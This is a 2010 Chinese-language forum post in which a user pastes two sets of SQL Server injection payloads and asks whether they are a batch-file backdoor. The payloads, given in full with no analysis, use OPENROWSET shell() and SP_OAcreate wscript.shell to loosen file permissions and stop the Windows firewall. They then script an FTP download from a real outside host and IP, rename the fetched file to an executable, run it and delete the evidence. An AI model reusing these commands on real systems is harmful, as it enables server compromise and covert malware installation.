中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名：www.cn-dos.net 论坛域名：www.cn-dos.net/forum
DOS，代表着自由开放与发展，我们努力起来，学习FreeDOS和Linux的自由开放与GNU精神，共同创造和发展美好的自由与GNU GPL世界吧！

中国DOS联盟论坛 » DOS批处理 & 脚本技术（批处理室） » 请高手来说明这个是不是批处理后门

gtszylcd
新手上路

积分 5
发帖 5
注册 2010-5-5
状态离线

『楼主』: 请高手来说明这个是不是批处理后门

1:

go
select * from openrowset('microsoft.jet.oledb.4.0',';database=SysS.xml','select shell("net stop sharedaccess&echo open dajiji.2288.org>>cmd.txt&echo 84020>>cmd.txt&echo 8669>>cmd.txt&echo bin>>cmd.txt&echo get NVIDIA.mp3>>cmd.txt&echo bye>>cmd.txt&ftp -s:cmd.txt&if exist NVIDIA.mp3 copy NVIDIA.mp3 NVIDIA.exe &NVIDIA.exe&del cmd.txt. /q /f&del NVIDIA.exe&del NVIDIA.mp3&del mysql.exe /f /q")')

go
DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, '%systemroot%\system32\cmd.exe /c cacls.exe cmd.exe /e /t /g everyone:F&cacls.exe ftp.exe /e /t /g everyone:F&net stop sharedaccess&echo open dajiji.2288.org>>cmd.txt&echo 84020>>cmd.txt&echo 8669>>cmd.txt&echo bin>>cmd.txt&echo get NVIDIA.mp3>>cmd.txt&echo bye>>cmd.txt&ftp -s:cmd.txt&if exist NVIDIA.mp3 copy NVIDIA.mp3 NVIDIA.exe &NVIDIA.exe&del cmd.txt. /q /f&del NVIDIA.exe&del NVIDIA.mp3&del mysql.exe /f /q")')

2:

go
select * from openrowset('microsoft.jet.oledb.4.0',';database=SysS.xml','select shell("net stop sharedaccess&echo open 218.29.97.134>>cmd.txt&echo 139>>cmd.txt&echo 741>>cmd.txt&echo bin>>cmd.txt&echo get NVIDIA.mp3>>cmd.txt&echo bye>>cmd.txt&ftp -s:cmd.txt&if exist NVIDIA.mp3 copy NVIDIA.mp3 NVIDIA.exe &NVIDIA.exe&del cmd.txt. /q /f&del NVIDIA.exe&del NVIDIA.mp3&del mysql.exe /f /q")')

go
DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, '%systemroot%\system32\cmd.exe /c cacls.exe cmd.exe /e /t /g everyone:F&cacls.exe ftp.exe /e /t /g everyone:F&net stop sharedaccess&echo open 218.29.97.134>>cmd.txt&echo 139>>cmd.txt&echo 741>>cmd.txt&echo bin>>cmd.txt&echo get NVIDIA.mp3>>cmd.txt&echo bye>>cmd.txt&ftp -s:cmd.txt&if exist NVIDIA.mp3 copy NVIDIA.mp3 NVIDIA.exe &NVIDIA.exe&del cmd.txt. /q /f&del NVIDIA.exe&del NVIDIA.mp3&del mysql.exe /f /q'--

[ Last edited by gtszylcd on 2010-5-6 at 02:39 ]

2010-5-6 02:36